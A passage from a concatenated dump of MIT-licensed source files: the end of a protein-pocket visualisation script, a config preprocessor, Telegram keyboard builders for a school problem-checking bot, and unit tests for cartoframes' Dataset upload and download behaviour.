out_dir_heme = args.out_dir_heme\n out_dir_nucleotide = args.out_dir_nucleotide\n if op == 'control_vs_heme':\n final_scores_dir = final_scores_dir_heme\n pdb_dir = pdb_dir_heme\n out_dir = out_dir_heme\n elif op == 'control_vs_nucleotide':\n final_scores_dir = final_scores_dir_nucleotide\n pdb_dir = pdb_dir_nucleotide\n out_dir = out_dir_nucleotide\n\n # load the lists of correctly predicted pockets\n with open(correct_predict_dir + op + '_correct_preds_6_dirs_vote.pickle', 'rb') as f:\n dict = load(f)\n #print(dict)\n class_1_list = dict[1]\n pocket_list = []\n for pocket in class_1_list:\n pocket_list.append(pocket[0])\n #print(pocket_list)\n print('total number of correct predictions:', len(pocket_list))\n\n # modify the pdb file to visualize atoms' scores\n pocket_visual_folder(pdb_dir, final_scores_dir, out_dir, pocket_list)", "source": "tony-hanseok/BionoiNet", "license": "MIT"} {"text": "#!/usr/bin/env python\nimport os\nimport sys\nimport re\n\n\n# regex for numbers\nnumber_regex = r'([-+]?(\\d+(\\.\\d*)?|\\.\\d+)([eE][-+]?\\d+)?)'\n# regex for array of numbers in format '[1;2;3]'\narray_regex = r'(\\[' + number_regex + r'(;' + number_regex + r')*\\])'\n# value can be either a number or an array\nvalue_regex = '(' + number_regex + '|' + array_regex + ')'\n# basic dimension is word, possibly with power, e.g. cm, cm^{-3}, cm^2.\nsimple_dimension_regex = r'\\w+(\\^({[+-]?\\d+}|\\d+))?'\n# dimension can contain multiple simple dimensions divided by / and *, or percent sign\ndimension_regex = '({0}([/*]{0})*|%)'.format(simple_dimension_regex)\n# value with the dimension are separated by space\nvalue_dimension_regex = value_regex + '\\s+' + dimension_regex\n# text only values can contain word symbols, digits, dots, slashes, ampersands and hyphens\ntext_only_regex = r'([\\w\\d&-./]+)'\n# Python expressions that are to be evaluated during preprocessing\neval_regex = r'eval\\{(.+)\\}'\n# Python statements that are to be executed during preprocessing\nexec_regex = r'exec\\{(.+)\\}'\n\nconf = sys.argv[1]\n\nif not os.path.isfile(conf):\n raise Exception('Config file [%s] not found' % conf)\n\nwith open(conf, \"r\") as f:\n buf = ''\n for l in f:\n if '#' in l:\n l = l[:l.find('#')]\n l = l.strip()\n if l == '':\n continue\n l = re.sub(eval_regex, lambda m: str(eval(m.group(1))), l)\n if re.match('^' + exec_regex + '$', l):\n command = re.findall(exec_regex, l)[0]\n exec(command)\n else:\n buf += l + '\\n'\n for l in buf.splitlines():\n key_value = l.split('=')\n if len(key_value) != 2:\n raise Exception('Line [%s] is invalid' % l)\n\n key = key_value[0].strip()\n value = key_value[1].strip()\n print(key)\n if re.match('^' + value_regex + '$', value):\n print(value)\n print('#')\n elif re.match('^' + text_only_regex + '$', value):\n print('#')\n print(value)\n elif re.match('^' + value_dimension_regex + '$', value):\n v = re.findall(value_regex, value)[0][0]\n print(v)\n d = value[len(v):].strip()\n print(d)\n else:\n raise Exception('Syntax of value [%s] of key [%s] is incorrect' % (value, key))\n print('$')\n print('$')\n", "source": "agolovanov/quill", "license": "MIT"} {"text": "from aiogram import types\nfrom Levenshtein import jaro_winkler\nfrom typing import List, Tuple\n\nfrom helpers.consts import *\nfrom helpers.config import logger\nfrom helpers.obj_classes import User, Problem, db\n\n\ndef build_teacher_actions():\n logger.debug('keyboards.build_teacher_actions')\n keyboard = types.InlineKeyboardMarkup()\n prb_count = db.get_written_tasks_count()\n get_written_task_button = types.InlineKeyboardButton(\n text=f\"\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043f\u0438\u0441\u044c\u043c\u0435\u043d\u043d\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 (\u0432\u0441\u0435\u0433\u043e {prb_count})\",\n callback_data=CALLBACK.GET_WRITTEN_TASK\n )\n keyboard.add(get_written_task_button)\n get_written_task_button = types.InlineKeyboardButton(\n text=f\"\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0443\u044e \u043f\u0438\u0441\u044c\u043c\u0435\u043d\u043d\u0443\u044e\",\n callback_data=CALLBACK.SELECT_WRITTEN_TASK_TO_CHECK\n )\n keyboard.add(get_written_task_button)\n # get_queue_top_button = types.InlineKeyboardButton(\n # text=\"\u0412\u044b\u0437\u0432\u0430\u0442\u044c \u0448\u043a\u043e\u043b\u044c\u043d\u0438\u043a\u0430 \u043d\u0430 \u0443\u0441\u0442\u043d\u0443\u044e \u0441\u0434\u0430\u0447\u0443\",\n # callback_data=Callback.GET_QUEUE_TOP\n # )\n # keyboard.add(get_queue_top_button)\n insert_oral_pluses = types.InlineKeyboardButton(\n text=\"\u0412\u043d\u0435\u0441\u0442\u0438 \u043f\u043b\u044e\u0441\u044b \u0437\u0430 \u0443\u0441\u0442\u043d\u0443\u044e \u0441\u0434\u0430\u0447\u0443\",\n callback_data=CALLBACK.INS_ORAL_PLUSSES\n )\n keyboard.add(insert_oral_pluses)\n return keyboard\n\n\ndef build_select_problem_to_check(problems_and_counts: List[Tuple[Problem, int]]):\n logger.debug('build_select_problem_to_check')\n problems_and_counts.sort(key=lambda el: (el[0].lesson, el[0].level, el[0].prob, el[0].item))\n keyboard = types.InlineKeyboardMarkup()\n for problem, cnt in problems_and_counts:\n if problem.prob_type == PROB_TYPE.TEST:\n tp = '\u22ef'\n elif problem.prob_type == PROB_TYPE.WRITTEN or problem.prob_type == PROB_TYPE.WRITTEN_BEFORE_ORALLY:\n tp = '\ud83d\udd8a'\n elif problem.prob_type == PROB_TYPE.ORALLY:\n tp = '\ud83d\udde3'\n else:\n tp = '?'\n task_button = types.InlineKeyboardButton(\n text=f\"{tp} {problem} \u2014 {cnt}\",\n callback_data=f\"{CALLBACK.CHECK_ONLY_SELECTED_WRITEN_TASK}_{problem.id}\"\n )\n keyboard.add(task_button)\n cancel = types.InlineKeyboardButton(\n text=\"\u041e\u0442\u043c\u0435\u043d\u0430\",\n callback_data=f\"{CALLBACK.TEACHER_CANCEL}\"\n )\n keyboard.add(cancel)\n return keyboard\n\n\ndef build_teacher_select_written_problem(top: list):\n logger.debug('keyboards.build_teacher_select_written_problem')\n keyboard_markup = types.InlineKeyboardMarkup(row_width=7)\n for row in top:\n student = User.get_by_id(row['student_id'])\n problem = Problem.get_by_id(row['problem_id'])\n task_button = types.InlineKeyboardButton(\n text=f\"{problem.lesson}{problem.level}.{problem.prob}{problem.item} ({problem.title}) {student.surname} {student.name}\",\n callback_data=f\"{CALLBACK.WRITTEN_TASK_SELECTED}_{student.id}_{problem.id}\"\n )\n keyboard_markup.add(task_button)\n cancel = types.InlineKeyboardButton(\n text=\"\u041e\u0442\u043c\u0435\u043d\u0430\",\n callback_data=f\"{CALLBACK.TEACHER_CANCEL}\"\n )\n keyboard_markup.add(cancel)\n return keyboard_markup\n\n\ndef build_select_student(name_to_find: str):\n logger.debug('keyboards.build_select_student')\n keyboard_markup = types.InlineKeyboardMarkup(row_width=7)\n students = sorted(\n User.all_students(),\n key=lambda user: -jaro_winkler(name_to_find.lower(), f'{user.surname} {user.name} {user.token}'.lower(), 1 / 10)\n )\n for student in students[:8]:\n student_button = types.InlineKeyboardButton(\n text=f\"{student.surname} {student.name} {student.level} {student.token}\",\n callback_data=f\"{CALLBACK.STUDENT_SELECTED}_{student.id}\"\n )\n keyboard_markup.add(student_button)\n cancel = types.InlineKeyboardButton(\n text=\"\u041e\u0442\u043c\u0435\u043d\u0430\",\n callback_data=f\"{CALLBACK.TEACHER_CANCEL}\"\n )\n keyboard_markup.add(cancel)\n return keyboard_markup\n\n\ndef build_written_task_checking_verdict(student: User, problem: Problem):\n logger.debug('keyboards.build_written_task_checking_verdict')\n keyboard_markup = types.InlineKeyboardMarkup(row_width=7)\n keyboard_markup.add(types.InlineKeyboardButton(\n text=f\"\ud83d\udc4d \u0417\u0430\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0430\u0434\u0430\u0447\u0443 {problem.lesson}{problem.level}.{problem.prob}{problem.item} ({problem.title})\",\n callback_data=f\"{CALLBACK.WRITTEN_TASK_OK}_{student.id}_{problem.id}\"\n ))\n keyboard_markup.add(types.InlineKeyboardButton(\n text=f\"\u274c \u041e\u0442\u043a\u043b\u043e\u043d\u0438\u0442\u044c \u0438 \u043f\u0435\u0440\u0435\u0441\u043b\u0430\u0442\u044c \u0432\u0441\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432\u044b\u0448\u0435 \u0441\u0442\u0443\u0434\u0435\u043d\u0442\u0443 {student.surname} {student.name}\",\n callback_data=f\"{CALLBACK.WRITTEN_TASK_BAD}_{student.id}_{problem.id}\"\n ))\n keyboard_markup.add(types.InlineKeyboardButton(\n text=f\"\u041e\u0442\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u043d\u0430\u0437\u0430\u0434\",\n callback_data=f\"{CALLBACK.TEACHER_CANCEL}_{student.id}_{problem.id}\"\n ))\n return keyboard_markup\n\n\ndef build_student_in_conference():\n logger.debug('keyboards.build_student_in_conference')\n keyboard_markup = types.InlineKeyboardMarkup(row_width=3)\n keyboard_markup.add(types.InlineKeyboardButton(\n text=f\"\u2714 \u0411\u0435\u0441\u0435\u0434\u0430 \u043e\u043a\u043e\u043d\u0447\u0435\u043d\u0430\",\n callback_data=f\"{CALLBACK.GET_OUT_OF_WAITLIST}\"\n ))\n keyboard_markup.add(types.InlineKeyboardButton(\n text=f\"\u274c \u041e\u0442\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u0443\u0441\u0442\u043d\u043e\u0439 \u0441\u0434\u0430\u0447\u0438\",\n callback_data=f\"{CALLBACK.GET_OUT_OF_WAITLIST}\"\n ))\n return keyboard_markup\n\n\ndef build_verdict_for_oral_problems(plus_ids: set, minus_ids: set, student: User, online: ONLINE_MODE):\n logger.debug('keyboards.build_verdict_for_oral_problems')\n lesson_num = Problem.last_lesson_num()\n solved = db.check_student_solved(student.id, student.level, lesson_num)\n keyboard_markup = types.InlineKeyboardMarkup(row_width=3)\n plus_ids_str = ','.join(map(str, plus_ids))\n minus_ids_str = ','.join(map(str, minus_ids))\n if online == ONLINE_MODE.SCHOOL:\n select_problem_types = list(PROB_TYPE) # \u0412 \u0448\u043a\u043e\u043b\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c \u0432\u0441\u0435 \u0437\u0430\u0434\u0430\u0447\u0438\n else:\n select_problem_types = (PROB_TYPE.ORALLY, PROB_TYPE.WRITTEN_BEFORE_ORALLY) # \u0414\u0438\u0441\u0442\u0430\u043d\u0446\u0438\u043e\u043d\u043d\u043e \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u0441\u0442\u043d\u044b\u0435\n use_problems = [problem for problem in Problem.get_by_lesson(student.level, lesson_num)\n if problem.prob_type in select_problem_types]\n for problem in use_problems:\n if problem.id in solved and problem.id not in minus_ids:\n tick = '\u2705\u2705'\n elif problem.id in plus_ids:\n tick = '\ud83d\udc4d'\n elif problem.id in minus_ids:\n tick = '\u274c'\n else:\n tick = ''\n task_button = types.InlineKeyboardButton(\n text=f\"{tick} {problem}\",\n callback_data=f\"{CALLBACK.ADD_OR_REMOVE_ORAL_PLUS}_{problem.id}_{plus_ids_str}_{minus_ids_str}\"\n )\n keyboard_markup.add(task_button)\n ready_button = types.InlineKeyboardButton(\n text=\"\u0413\u043e\u0442\u043e\u0432\u043e (\u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u0441\u0434\u0430\u0447\u0443 \u0438 \u0432\u043d\u0435\u0441\u0442\u0438 \u0432 \u043a\u043e\u043d\u0434\u0443\u0438\u0442)\",\n callback_data=f\"{CALLBACK.FINISH_ORAL_ROUND}_{plus_ids_str}_{minus_ids_str}\"\n )\n keyboard_markup.add(ready_button)\n return keyboard_markup\n", "source": "ShashkovS/vmsh_tasks_bot", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\n\"\"\"Unit tests for cartoframes.data.Dataset\"\"\"\nimport unittest\nimport os\nimport sys\nimport json\nimport warnings\nimport pandas as pd\n\nfrom carto.exceptions import CartoException\n\nfrom cartoframes.data import Dataset\nfrom cartoframes.auth import Credentials\nfrom cartoframes.client import SQLClient\nfrom cartoframes.data.utils import setting_value_exception\nfrom cartoframes.data.columns import normalize_name\nfrom cartoframes.utils import load_geojson\nfrom cartoframes.data import StrategiesRegistry\nfrom cartoframes.data.registry.dataframe_dataset import DataFrameDataset, _rows\nfrom cartoframes.data.registry.table_dataset import TableDataset\nfrom cartoframes.data.registry.query_dataset import QueryDataset\nfrom cartoframes import context\n\ntry:\n from unittest.mock import Mock\nexcept ImportError:\n from mock import Mock\nfrom ..mocks.dataset_mock import DatasetMock, QueryDatasetMock\nfrom ..mocks.context_mock import ContextMock\n\nfrom ..utils import _UserUrlLoader\n\ntry:\n import geopandas\n HAS_GEOPANDAS = True\nexcept ImportError:\n HAS_GEOPANDAS = False\n\nWILL_SKIP = False\nwarnings.filterwarnings('ignore')\n\n\nclass TestDataset(unittest.TestCase, _UserUrlLoader):\n \"\"\"Tests for cartoframes.CARTOframes\"\"\"\n\n def setUp(self):\n if (os.environ.get('APIKEY') is None or\n os.environ.get('USERNAME') is None):\n try:\n creds = json.loads(open('test/secret.json').read())\n self.apikey = creds['APIKEY']\n self.username = creds['USERNAME']\n except: # noqa: E722\n warnings.warn(\"Skipping Context tests. To test it, \"\n \"create a `secret.json` file in test/ by \"\n \"renaming `secret.json.sample` to `secret.json` \"\n \"and updating the credentials to match your \"\n \"environment.\")\n self.apikey = None\n self.username = None\n else:\n self.apikey = os.environ['APIKEY']\n self.username = os.environ['USERNAME']\n\n # sets skip value\n WILL_SKIP = self.apikey is None or self.username is None # noqa: F841\n\n # table naming info\n has_mpl = 'mpl' if os.environ.get('MPLBACKEND') else 'nonmpl'\n has_gpd = 'gpd' if os.environ.get('USE_GEOPANDAS') else 'nongpd'\n pyver = sys.version[0:3].replace('.', '_')\n buildnum = os.environ.get('TRAVIS_BUILD_NUMBER') or 'none'\n\n test_slug = '{ver}_{num}_{mpl}_{gpd}'.format(\n ver=pyver, num=buildnum, mpl=has_mpl, gpd=has_gpd\n )\n\n # for writing to carto\n self.test_write_table = normalize_name(\n 'cf_test_table_{}'.format(test_slug)\n )\n\n self.base_url = self.user_url().format(username=self.username)\n self.credentials = Credentials(self.username, self.apikey, self.base_url)\n self.sql_client = SQLClient(self.credentials)\n\n self.test_geojson = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"properties\": {},\n \"geometry\": {\n \"type\": \"Point\",\n \"coordinates\": [\n -3.1640625,\n 42.032974332441405\n ]\n }\n }\n ]\n }\n\n self.tearDown()\n\n def tearDown(self):\n \"\"\"restore to original state\"\"\"\n tables = (self.test_write_table, )\n sql_drop = 'DROP TABLE IF EXISTS {};'\n\n for table in tables:\n try:\n Dataset(table, credentials=self.credentials).delete()\n self.sql_client.query(sql_drop.format(table))\n except CartoException:\n warnings.warn('Error deleting tables')\n\n StrategiesRegistry.instance = None\n\n def test_dataset_upload_validation_fails_only_with_table_name(self):\n table_name = 'fake_table'\n dataset = Dataset(table_name, credentials=self.credentials)\n err_msg = 'Nothing to upload. We need data in a DataFrame or GeoDataFrame or a query to upload data to CARTO.'\n with self.assertRaises(ValueError, msg=err_msg):\n dataset.upload()\n\n def test_dataset_upload_validation_query_fails_without_table_name(self):\n query = 'SELECT 1'\n dataset = Dataset(query, credentials=self.credentials)\n with self.assertRaises(ValueError, msg='You should provide a table_name and context to upload data.'):\n dataset.upload()\n\n def test_dataset_upload_validation_df_fails_without_table_name_and_context(self):\n df = load_geojson(self.test_geojson)\n dataset = Dataset(df)\n with self.assertRaises(ValueError, msg='You should provide a table_name and context to upload data.'):\n dataset.upload()\n\n def test_dataset_upload_validation_df_fails_without_context(self):\n df = load_geojson(self.test_geojson)\n dataset = Dataset(df)\n with self.assertRaises(ValueError, msg='You should provide a table_name and context to upload data.'):\n dataset.upload(table_name=self.test_write_table)\n\n @unittest.skipIf(WILL_SKIP, 'no carto credentials, skipping this test')\n def test_dataset_upload_into_existing_table_fails_without_replace_property(self):\n query = 'SELECT 1'\n dataset = Dataset(query, credentials=self.credentials)\n dataset.upload(table_name=self.test_write_table)\n\n dataset = Dataset(query, credentials=self.credentials)\n err_msg = ('Table with name {t} and schema {s} already exists in CARTO. Please choose a different `table_name`'\n 'or use if_exists=\"replace\" to overwrite it').format(t=self.test_write_table, s='public')\n with self.assertRaises(CartoException, msg=err_msg):\n dataset.upload(table_name=self.test_write_table)\n dataset.upload(table_name=self.test_write_table, if_exists=Dataset.REPLACE)\n\n def test_dataset_upload_validation_fails_with_query_and_append(self):\n query = 'SELECT 1'\n dataset = Dataset(query, credentials=self.credentials)\n err_msg = 'Error using append with a query Dataset. It is not possible to append data to a query'\n with self.assertRaises(CartoException, msg=err_msg):\n dataset.upload(table_name=self.test_write_table, if_exists=Dataset.APPEND)\n\n @unittest.skipIf(WILL_SKIP, 'no carto credentials, skipping this test')\n def test_dataset_download_validations(self):\n self.assertNotExistsTable(self.test_write_table)\n\n df = load_geojson(self.test_geojson)\n dataset = Dataset(df)\n error_msg = 'You should provide a context and a table_name or query to download data.'\n with self.assertRaises(ValueError, msg=error_msg):\n dataset.download()\n\n query = 'SELECT 1 as fakec'\n dataset = Dataset(query, credentials=self.credentials)\n dataset.upload(table_name=self.test_write_table)\n\n dataset._table_name = 'non_used_table'\n df = dataset.download()\n self.assertEqual('fakec' in df.columns, True)\n\n dataset = Dataset(self.test_write_table, credentials=self.credentials)\n df = dataset.download()\n self.assertEqual('fakec' in df.columns, True)\n\n def test_dataset_download_and_upload(self):\n self.assertNotExistsTable(self.test_write_table)\n\n query = 'SELECT 1 as fakec'\n dataset = Dataset(query, credentials=self.credentials)\n dataset.upload(table_name=self.test_write_table)\n\n dataset = Dataset(self.test_write_table, credentials=self.credentials)\n dataset.download()\n dataset.upload(table_name=self.test_write_table, if_exists=Dataset.REPLACE)\n\n def test_dataset_download_bool_null(self):\n self.assertNotExistsTable(self.test_write_table)\n\n query = 'SELECT * FROM (values (true, true), (false, false), (false, null)) as x(fakec_bool, fakec_bool_null)'\n dataset = Dataset(query, credentials=self.credentials)\n dataset.upload(table_name=self.test_write_table)\n\n dataset = Dataset(self.test_write_table, credentials=self.credentials)\n df = dataset.download()\n\n self.assertEqual(df['fakec_bool'].dtype, 'bool')\n self.assertEqual(df['fakec_bool_null'].dtype, 'object')\n self.assertEqual(list(df['fakec_bool']), [True, False, False])\n self.assertEqual(list(df['fakec_bool_null']), [True, False, None])\n\n @unittest.skipIf(WILL_SKIP, 'no carto credentials, skipping this test')\n def test_dataset_write_points_dataset(self):\n self.assertNotExistsTable(self.test_write_table)\n\n from cartoframes.examples import read_mcdonalds_nyc\n df = read_mcdonalds_nyc(limit=100)\n dataset = Dataset(df).upload(table_name=self.test_write_table, credentials=self.credentials)\n self.test_write_table = dataset.table_name\n\n query = 'SELECT cartodb_id FROM {} WHERE the_geom IS NOT NULL'.format(self.test_write_table)\n result = self.sql_client.query(query, verbose=True)\n print(result)\n self.assertEqual(result['total_rows'], 100)\n\n @unittest.skipIf(WILL_SKIP, 'no carto credentials, skipping this test')\n def test_dataset_write_lines_dataset(self):\n self.assertNotExistsTable(self.test_write_table)\n\n from cartoframes.examples import read_ne_50m_graticules_15\n df = read_ne_50m_graticules_15()\n dataset = Dataset(df).upload(table_name=self.test_write_table, credentials=self.credentials)\n self.test_write_table = dataset.table_name\n\n query = 'SELECT cartodb_id FROM {} WHERE the_geom IS NOT NULL'.format(self.test_write_table)\n result = self.sql_client.query(query, verbose=True)\n self.assertEqual(result['total_rows'], 35)\n\n @unittest.skipIf(WILL_SKIP, 'no carto credentials, skipping this test')\n def test_dataset_write_polygons_dataset(self):\n self.assertNotExistsTable(self.test_write_table)\n\n from cartoframes.examples import read_brooklyn_poverty\n df = read_brooklyn_poverty()\n dataset = Dataset(df).upload(table_name=self.test_write_table, credentials=self.credentials)\n self.test_write_table = dataset.table_name\n\n query = 'SELECT cartodb_id FROM {} WHERE the_geom IS NOT NULL'.format(self.test_write_table)\n result = self.sql_client.query(query, verbose=True)\n self.assertEqual(result['total_rows'], 2049)\n\n @unittest.skipIf(WILL_SKIP, 'no carto credentials, skipping this test')\n def test_dataset_write_lnglat_dataset(self):\n self.assertNotExistsTable(self.test_write_table)\n\n from cartoframes.examples import read_taxi\n df = read_taxi(limit=100)\n lnglat = ('dropoff_longitude', 'dropoff_latitude')\n dataset = Dataset(df).upload(\n with_lnglat=lnglat, table_name=self.test_write_table, credentials=self.credentials)\n self.test_write_table = dataset.table_name\n\n self.assertExistsTable(self.test_write_table)\n\n query = 'SELECT cartodb_id FROM {} WHERE the_geom IS NOT NULL'.format(self.test_write_table)\n result = self.sql_client.query(query, verbose=True)\n self.assertEqual(result['total_rows'], 100)\n\n @unittest.skipIf(WILL_SKIP, 'no carto credentials, skipping this test')\n def test_dataset_write_null_geometry_column(self):\n self.assertNotExistsTable(self.test_write_table)\n\n from cartoframes.examples import read_taxi\n df = read_taxi(limit=100)\n dataset = Dataset(df).upload(table_name=self.test_write_table, credentials=self.credentials)\n self.test_write_table = dataset.table_name\n\n self.assertExistsTable(self.test_write_table)\n\n query = 'SELECT cartodb_id FROM {} WHERE the_geom IS NULL'.format(self.test_write_table)\n result = self.sql_client.query(query, verbose=True)\n self.assertEqual(result['total_rows'], 100)\n\n @unittest.skipIf(WILL_SKIP, 'no carto credentials, skipping this test')\n def test_dataset_write_with_different_geometry_column(self):\n self.assertNotExistsTable(self.test_write_table)\n\n from cartoframes.examples import read_brooklyn_poverty\n df = read_brooklyn_poverty()\n df.rename(columns={'the_geom': 'geometry'}, inplace=True)\n dataset = Dataset(df).upload(table_name=self.test_write_table, credentials=self.credentials)\n self.test_write_table = dataset.table_name\n\n self.assertExistsTable(self.test_write_table)\n\n query = 'SELECT cartodb_id FROM {} WHERE the_geom IS NOT NULL'.format(self.test_write_table)\n result = self.sql_client.query(query, verbose=True)\n self.assertEqual(result['total_rows'], 2049)\n\n @unittest.skipIf(WILL_SKIP, 'no carto credentials, skipping this test')\n def test_dataset_write_with_different_geom_column(self):\n self.assertNotExistsTable(self.test_write_table)\n\n from cartoframes.examples import read_brooklyn_poverty\n df = read_brooklyn_poverty()\n\n df.rename(columns={'the_geom': 'geom'}, inplace=True)\n dataset = Dataset(df).upload(table_name=self.test_write_table, credentials=self.credentials)\n self.test_write_table = dataset.table_name\n\n self.assertExistsTable(self.test_write_table)\n\n query = 'SELECT cartodb_id FROM {} WHERE the_geom IS NOT NULL'.format(self.test_write_table)\n result = self.sql_client.query(query, verbose=True)\n self.assertEqual(result['total_rows'], 2049)\n\n @unittest.skipIf(WILL_SKIP, 'no carto credentials, skipping this test')\n def test_dataset_write_geopandas(self):\n self.assertNotExistsTable(self.test_write_table)\n\n from cartoframes.examples import read_taxi\n import shapely\n import geopandas as gpd\n df = read_taxi(limit=50)\n df.drop(['the_geom'], axis=1, inplace=True)\n gdf = gpd.GeoDataFrame(df.drop(['dropoff_longitude', 'dropoff_latitude'], axis=1),\n crs={'init': 'epsg:4326'},\n geometry=[shapely.geometry.Point(xy) for xy in\n zip(df.dropoff_longitude, df.dropoff_latitude)])\n\n # TODO: use from_geodataframe\n dataset = Dataset(gdf).upload(table_name=self.test_write_table, credentials=self.credentials)\n self.test_write_table = dataset.table_name\n\n self.assertExistsTable(self.test_write_table)\n\n query = 'SELECT cartodb_id FROM {} WHERE the_geom IS NOT NULL'.format(self.test_write_table)\n result = self.sql_client.query(query, verbose=True)\n self.assertEqual(result['total_rows'], 50)\n\n @unittest.skipIf(WILL_SKIP, 'no carto credentials, skipping this test')\n def test_dataset_write_wkt(self):\n self.assertNotExistsTable(self.test_write_table)\n\n from cartoframes.examples import read_taxi\n df = read_taxi(limit=50)\n df['the_geom'] = df.apply(lambda x: 'POINT ({x} {y})'\n .format(x=x['dropoff_longitude'], y=x['dropoff_latitude']), axis=1)\n dataset = Dataset(df).upload(table_name=self.test_write_table, credentials=self.credentials)\n self.test_write_table = dataset.table_name\n\n self.assertExistsTable(self.test_write_table)\n\n query = 'SELECT cartodb_id FROM {} WHERE the_geom IS NOT NULL'.format(self.test_write_table)\n result = self.sql_client.query(query, verbose=True)\n self.assertEqual(result['total_rows'], 50)\n\n @unittest.skipIf(WILL_SKIP, 'no carto credentials, skipping this test')\n def test_dataset_write_if_exists_fail_by_default(self):\n self.assertNotExistsTable(self.test_write_table)\n\n from cartoframes.examples import read_brooklyn_poverty\n df = read_brooklyn_poverty()\n dataset = Dataset(df).upload(table_name=self.test_write_table, credentials=self.credentials)\n self.test_write_table = dataset.table_name\n\n err_msg = ('Table with name {t} and schema {s} already exists in CARTO. Please choose a different `table_name`'\n 'or use if_exists=\"replace\" to overwrite it').format(t=self.test_write_table, s='public')\n with self.assertRaises(CartoException, msg=err_msg):\n dataset = Dataset(df).upload(table_name=self.test_write_table, credentials=self.credentials)\n\n self.assertExistsTable(self.test_write_table)\n\n query = 'SELECT cartodb_id FROM {} WHERE the_geom IS NOT NULL'.format(self.test_write_table)\n result = self.sql_client.query(query, verbose=True)\n self.assertEqual(result['total_rows'], 2049)\n\n @unittest.skipIf(WILL_SKIP, 'no carto credentials, skipping this test')\n def test_dataset_write_if_exists_append(self):\n from cartoframes.examples import read_brooklyn_poverty\n df = read_brooklyn_poverty()\n dataset = Dataset(df).upload(table_name=self.test_write_table, credentials=self.credentials)\n self.test_write_table = dataset.table_name\n\n dataset = Dataset(df).upload(\n if_exists=Dataset.APPEND, table_name=self.test_write_table, credentials=self.credentials)\n\n self.assertExistsTable(self.test_write_table)\n\n query = 'SELECT cartodb_id FROM {} WHERE the_geom IS NOT NULL'.format(self.test_write_table)\n result = self.sql_client.query(query, verbose=True)\n self.assertEqual(result['total_rows'], 2049 * 2)\n\n @unittest.skipIf(WILL_SKIP, 'no carto credentials, skipping this test')\n def test_dataset_write_if_exists_replace(self):\n from cartoframes.examples import read_brooklyn_poverty\n df = read_brooklyn_poverty()\n dataset = Dataset(df).upload(table_name=self.test_write_table, credentials=self.credentials)\n self.test_write_table = dataset.table_name\n\n dataset = Dataset(df).upload(\n if_exists=Dataset.REPLACE, table_name=self.test_write_table, credentials=self.credentials)\n\n self.assertExistsTable(self.test_write_table)\n\n query = 'SELECT cartodb_id FROM {} WHERE the_geom IS NOT NULL'.format(self.test_write_table)\n result = self.sql_client.query(query, verbose=True)\n self.assertEqual(result['total_rows'], 2049)\n\n def test_dataset_schema_from_parameter(self):\n schema = 'fake_schema'\n dataset = Dataset('fake_table', schema=schema, credentials=self.credentials)\n self.assertEqual(dataset.schema, schema)\n\n def test_dataset_schema_from_non_org_context(self):\n dataset = Dataset('fake_table', credentials=self.credentials)\n self.assertEqual(dataset.schema, 'public')\n\n def test_dataset_schema_from_org_context(self):\n pass\n # dataset = DatasetMock('fake_table', credentials=self.credentials)\n # self.assertEqual(dataset.schema, 'fake_username')\n\n # FIXME does not work in python 2.7 (COPY stucks and blocks the table, fix after\n # https://github.com/CartoDB/CartoDB-SQL-API/issues/579 is fixed)\n # @unittest.skipIf(WILL_SKIP, 'no carto credentials, skipping this test')\n # def test_dataset_write_with_encoding(self):\n # df = pd.DataFrame({'vals': [1, 2], 'strings': ['a', '\u00f4']})\n # dataset = self.con.write(df, self.test_write_table)\n # self.test_write_table = dataset.table_name\n\n # self.assertExistsTable(self.test_write_table)\n\n def assertExistsTable(self, table_name):\n resp = self.sql_client.query('''\n SELECT *\n FROM {table}\n LIMIT 0\n '''.format(table=table_name))\n self.assertIsNotNone(resp)\n\n def assertNotExistsTable(self, table_name):\n try:\n self.sql_client.query('''\n SELECT *\n FROM {table}\n LIMIT 0\n '''.format(table=table_name))\n except CartoException as e:\n self.assertTrue('relation \"{}\" does not exist'.format(table_name) in str(e))\n\n\nclass TestDatasetInfo(unittest.TestCase):\n def setUp(self):\n self.username = 'fake_username'\n self.api_key = 'fake_api_key'\n self.credentials = Credentials(username=self.username, api_key=self.api_key)\n\n self._context_mock = ContextMock()\n # Mock create_context method\n self.original_create_context = context.create_context\n context.create_context = lambda c: self._context_mock\n\n def tearDown(self):\n context.create_context = self.original_create_context\n\n def test_dataset_info_should_work_from_table(self):\n table_name = 'fake_table'\n dataset = DatasetMock(table_name, credentials=self.credentials)\n self.assertEqual(dataset.dataset_info.privacy, Dataset.PRIVATE)\n\n def test_dataset_get_privacy_from_new_table(self):\n query = 'SELECT 1'\n dataset = DatasetMock(query, credentials=self.credentials)\n dataset.upload(table_name='fake_table')\n self.assertEqual(dataset.dataset_info.privacy, Dataset.PRIVATE)\n\n def test_dataset_set_privacy_to_new_table(self):\n query = 'SELECT 1'\n dataset = DatasetMock(query, credentials=self.credentials)\n dataset.upload(table_name='fake_table')\n dataset.update_dataset_info(privacy=Dataset.PUBLIC)\n self.assertEqual(dataset.dataset_info.privacy, Dataset.PUBLIC)\n\n def test_dataset_set_privacy_with_wrong_parameter(self):\n query = 'SELECT 1'\n dataset = DatasetMock(query, credentials=self.credentials)\n dataset.upload(table_name='fake_table')\n wrong_privacy = 'wrong_privacy'\n error_msg = 'Wrong privacy. The privacy: {p} is not valid. You can use: {o1}, {o2}, {o3}'.format(\n p=wrong_privacy, o1=Dataset.PRIVATE, o2=Dataset.PUBLIC, o3=Dataset.LINK)\n with self.assertRaises(ValueError, msg=error_msg):\n dataset.update_dataset_info(privacy=wrong_privacy)\n\n def test_dataset_info_props_are_private(self):\n 